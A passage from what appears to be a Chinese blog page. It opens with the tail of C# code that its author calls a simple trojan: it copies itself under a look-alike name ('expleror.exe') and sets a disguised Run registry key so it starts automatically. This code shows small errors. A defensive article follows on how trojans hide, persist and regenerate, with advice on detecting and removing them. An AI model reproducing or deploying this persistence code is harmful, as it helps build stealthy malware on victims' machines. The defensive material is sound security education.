File.Move("C:\\\\winnnt\\\\system\\\\msdoss.exe","d:\\\\winnt\\\\system32\\\\expleror.exe");
}
catch {}
//将新移的木马程序设为自启动.分析和前面一样
try
{
key1 =rLocal.OpenSubKey("SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",true);
key1.SetValue ("microsoftt","d:\\\\winnt\\\\system32\\\\expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKeykey2=rLocal.CreateSubKey("SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run");
key1.SetValue("microsoftt","d:\\\\winnt\\\\system32\\\\expleror.exe");
key1.Close();
}
catch{}
}
} //moveCC1()

  到这里一个简单的C#的木马就完成了。

网络安全之特洛伊木马攻防战略

说起网络安全,我想确实是一个难题,因为网络的确不安全,那麽到底怎麽不安全呢?这也是一两句话难以说清楚,现在我只谈一谈简单的木马攻防战术.

  木马程序用“瞒天过海”或“披着羊皮的狼”之类的词来形容这类程序一点也不为过,直截了当的说法是木马有两个程序,一个是服务器程序,一个是控制器程序,当你的电脑运行了服务器程序后,客人就可以使用控制器程序进入你的电脑,通过指挥服务器程序达到控制你的电脑的目的.

  有些网友会说我的电脑没有什麽秘密的资料,就抱着无所谓的态度,我想你肯定不希望在奋勇冲浪的时候,在与MM谈情说爱的时候,或许你在看属于你隐私的电子邮件的时候总有一双或很多双眼睛在"笑眯眯"的"关心"着你吧,更有甚者,通过木马将病毒传染到你的电脑上,让你死去活来,你的鼠标被人家控制,键盘不知什麽时候锁住了,这电脑还算你的吗?怎麽办?凉拌!

  那麽木马究竟是何方神圣,让我们来分析一下.
 
  一个木马要工作,那麽其服务器程序必须在目标上运行,没有人会主动要求去运行它,但是会有这麽一天,有人对你抱以和善的微笑说,"我这有一个好游戏""我有漂亮的MM屏保和你分享一下"等等,当你打开这些所谓的程序时,一个宿主程序已经悄悄潜入你的机子,第一步就这样完成了,这完全是我们疏于防范造成的.

  然后,木马一般会在以下三个地方安营扎寨:注册表、win.ini、system.ini,因为电脑启动的时候,需要装载这三个文件,大部分木马是使用这三种方式启动的.也有捆绑方式启动的,木马phAse 1.0版本和NetBus1.53版本就可以以捆绑方式装到目标电脑上,可以捆绑到启动程序上,也可以捆绑到一般程序的常用程序上.如果捆绑到一般的程序上,启动是不确定的,这要看目标电脑主人了,如果他不运行,木马就不会进入内存.捆绑方式是一种手动的安装方式,一般捆绑的是非自动方式启动的木马.非捆绑方式的木马因为会在注册表等位置留下痕迹,所以,很容易被发现,而捆绑木马可以由黑客自己确定捆绑方式、捆绑位置、捆绑程序等,位置的多变使木马由很强的隐蔽性.

  木马的服务器程序文件一般位置是在c:\\windows和c:\\windows\\system中,为什么要在这两个目录下,因为windows的一些系统文件在这两个位置,如果你误删了文件,你的电脑可能崩溃,你不得不重新安装系统.

木马的文件名更是一种学问,木马的文件名尽量和windows的系统文件接近,这样你就会弄糊涂了,比如木马SubSeven 1.7版本的服务器文件名是c:\\windows\\KERNEL16.DL,而windows由一个系统文件是c:\\windows\\KERNEL32.DLL,他们之差一点点,但是删错了的话,结果可大不相同的哦,删除KERNEL32.DLL会让你死翘翘的哦.再比如,木马phAse1.0版本,生成的木马是C:\\WINDOWS\\System\\Msgsrv32.exe,愣是和windows的系统文件C:\\WINDOWS\\System\\Msgsrv32.exe一模一样,只是图标有点两样,你可不要删错了哦.上面两个是假扮系统文件的类型,我们再来看看无中生有的类型,木马SubSeven 1.5版本服务器文件名是c:\\windows\\window.exe,看清楚了哦,少一个s的哦,如果不告诉你这是木马,你有胆子删吗?

  但是木马有一个致命的缺点,相对固定的端口,黑客要进入你的电脑,必须要有通往你电脑的途径,也就是说,木马必须打开某个端口,大家叫这个端口为“后门”,木马也叫“后门工具”.这个不得不打开的后门是很难隐蔽的,只能采取混淆的办法,很多木马的端口是固定的,让人一眼就能看出是什么样的木马造成的.所以,端口号可以改变,这是一种混淆的办法.我们知道7306是木马netspy的,木马SUB7可以改变端口号,SUB7默认的端口是1243,但是如果把1243端口改成了7306呢,呵呵,一定会把目标电脑的主人弄混淆了.有些人会问,要是这个端口会自动改变那该多好呀,每次上网端口号自动改变,呵呵,真聪明,可惜聪明过头了.比如,真有这样的木马装在我的电脑上,每次上网的端口均会改变,你是黑客,你打算怎么进入我的电脑呢?你知道这个木马现在开放的端口号是多少吗?想扫描我的电脑?端口一共有6万多个,你什么时候扫描完毕?半个小时,呵呵,我早发现了,早把你炸死了.即使我是菜鸟一个,你这样高速度扫描我的电脑,也会导致我的电脑通讯阻塞,谁会在网速非常慢的情况下在网络上待半个小时?所以,这基本上是不太可能的事情.

  木马有很强的隐蔽性,在WINDOWS中,如果某个程序出现异常,用正常的手段不能退出的时候,采取的办法时按“Ctrl+Alt+Del"键,跳出一个窗口,找到需要终止的程序,然后关闭它.早期的木马会在按“Ctrl+Alt+Del"显露出来,现在大多数木马已经看不到了.所以只能采用内存工具来看内存中时候存在木马.

  木马还具有很强潜伏的能力,表面上的木马被发现并删除以后,后备的木马在一定的条件下会跳出来.这种条件主要是目标电脑主人的操作造成的.我们先来看一个典型的例子:木马Glacier(冰河1.2正式版)现在已经升级到3.0版, 这个木马有两个服务器程序,C:\\WINDOWS\\SYSTEM\\Kernel32.exe挂在注册表的启动组中,当电脑启动的时候,会装入内存,这是表面上的木马.另一个是C:\\WINDOWS\\SYSTEM\\Sysexplr.exe,也在注册表中,它修改了文本文件的关联,当你点击文本文件的时候,它就启动了,它会检查Kernel32.exe是不是存在,如果存在的话,什么事情也不做.当表面上的木马Kernel32.exe被发现并删除以后,目标电脑的主人可能会觉得自己已经删除木马了,应该是安全的了.如果目标电脑的主人在以后的日子中点击了文本文件,那么这个文件文件照样运行,而Sysexplr.exe被启动了.Sysexplr.exe会发现表面上的木马Kernel32.exe已经被删除,就会再生成一个Kernel32.exe,于是,目标电脑以后每次启动电脑木马又被装上了.

  说了这麽多,是不是感到很恐怖,很上火,别着急,清凉解暑药马上就到.

在对付特洛伊木马程序方面,有以下几种办法:

1.必须提高防范意识,不要打开陌生人信中的附件,哪怕他说的天花乱坠,熟人的也要确认一下来信的原地址是否合法.

2.多读readme.txt.许多人出于研究目的下载了一些特洛伊木马程序的软件包,在没有弄清软件包中几个程序的具体功能前,就匆匆地执行其中的程序,这样往往就错误地执行了服务器端程序而使用户的计算机成为了特洛伊木马的牺牲品.软件包中经常附带的readme.txt文件会有程序的详细功能介绍和使用说明,尽管它一般是英文的,但还是有必要先阅读一下,如果实在读不懂,那最好不要执行任何程序,丢弃软件包当然是最保险的了.有必要养成在使用任何程序前先读readme.txt的好习惯.
值得一提的是,有许多程序说明做成可执行的readme.exe形式,readme.exe往往捆绑有病毒或特洛伊木马程序,或者干脆就是由病毒程序、特洛伊木马的服务器端程序改名而得到的,目的就是让用户误以为是程序说明文件去执行它,可谓用心险恶.所以从互联网上得来的readme.exe最好不要执行它.

3.使用杀毒软件.现在国内的杀毒软件都推出了清除某些特洛伊木马的功能,如KV300、KILL98、瑞星等等,可以不定期地在脱机的情况下进行检查和清除.另外,有的杀毒软件还提供网络实时监控功能,这一功能可以在黑客从远端执行用户机器上的文件时,提供报警或让执行失败,使黑客向用户机器上载可执行文件后无法正确执行,从而避免了进一步的损失,但是要记住,它不是万能的.

4.立即挂断.尽管造成上网速度突然变慢的原因有很多,但有理由怀疑这是由特洛伊木马造成的,当入侵者使用特洛伊的客户端程序访问你的机器时,会与你的正常访问抢占宽带,特别是当入侵者从远端下载用户硬盘上的文件时,正常访问会变得奇慢无比.这时,你可以双击任务栏右下角的连接图标,仔细观察一下“已发送字节”项,如果数字变化成1~3kbps(每秒1~3千字节),几乎可以确认有人在下载你的硬盘文件,除非你正在使用ftp功能.对TCP/IP端口熟悉的用户,可以在“MS-DOS方式”下键入“netstat-a"来观察与你机器相连的当前所有通信进程,当有具体的IP正使用不常见的端口(一般大于1024)与你通信时,这一端口很可能就是特洛伊木马的通信端口.当发现上述可疑迹象后,你所能做的就是:立即挂断,然后对硬盘有无特洛伊木马进行认真的检查.

5.观察目录.普通用户应当经常观察位于c:\\、c:\\windows、c:\\windows\\system这三个目录下的文件.用“记事本”逐一打开c:\\下的非执行类文件(除exe、bat、com以外的文件),查看是否发现特洛伊木马、击键程序的记录文件,在c:\\Windows或c:\\Windows\\system下如果有光有文件名没有图标的可执行程序,你应该把它们删除,然后再用杀毒软件进行认真的清理.

6.在删除木马之前,最最重要的一项工作是备份,需要备份注册表,防止系统崩溃,备份你认为是木马的文件,如果不是木马就可以恢复,如果是木马你就可以对木马进行分析.不同的不马有不同的清除方法,由于涉及面太大,这里就不详述了.
  
  总之不管你喜欢不喜欢,木马总是存在的,你只有去多多少少的了解一些木马的知识,才不至于遭人暗算,警惕啊,我的朋友,在茫茫的大海中,总有那麽一双眼睛在窥视着你.

  • 6
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值